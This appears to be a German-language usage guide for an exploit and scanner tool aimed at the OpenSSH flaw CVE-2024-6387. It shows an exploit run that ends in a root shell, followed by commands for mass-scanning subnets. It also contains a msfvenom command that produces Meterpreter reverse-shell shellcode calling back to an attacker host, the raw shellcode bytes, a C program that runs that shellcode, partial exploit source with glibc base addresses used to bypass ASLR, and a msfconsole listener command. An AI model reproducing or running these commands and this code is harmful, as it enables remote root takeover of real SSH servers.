$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --port 22

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   Author: l0n3m4n / Scanner: @xaitax / PoC: @7etsuo 
    
Schwachstellen ausnutzen...
Versuche Ausnutzung mit glibc-Basis: 0xb7200000
Versuch 0 von 20000
Erhaltene SSH-Version: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
Erhaltene KEX_INIT (1024 Bytes)
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
.....
Ausnutzung erfolgreich..!

~# whoami && id
root
uid=0(root) gid=0(root) groups=0(root) 

$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -o json -f result.json

$ python3 CVE-2024-6387.py -s targets.txt -p 22 -o json -f result.json

$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -t 10 -o json -f result.json

$ python3 CVE-2024-6387.py -s 192.168.56.101/24 -p 22 -t 5 -o json -f result.json

$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 2244 -t 5 -o json -f result.json

# Generieren eines Shellcodes 
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=9999 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of c file: 574 bytes

unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";

#include <stdio.h>

// Platzhalter für Ihren benutzerdefinierten Payload 
const char shellcode[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";

int main() {
    // Shellcode ausführen
    printf("Shellcode wird ausgeführt...\n");
    void (*sc)() = (void(*)())shellcode;
    sc();

    return 0;
}

#include <stdio.h>
 

#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)

// Mögliche glibc-Basisadressen (für ASLR-Umgehung)
uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);

// Shellcode-Platzhalter (durch tatsächlichen Shellcode ersetzen)
unsigned char shellcode[] = "\x90\x90\x90\x90";

# Payload kompilieren
$ gcc -shared -o exploit.so -fPIC 7etsuo-regreSSHion.c 

# Sobald Sie eine erfolgreiche Ausnutzungsmeldung erhalten, startet msfconsole automatisch eine Meterpreter-Sitzung.
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --p 22 

msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 192.168.56.100; set LPORT 9999; exploit -j"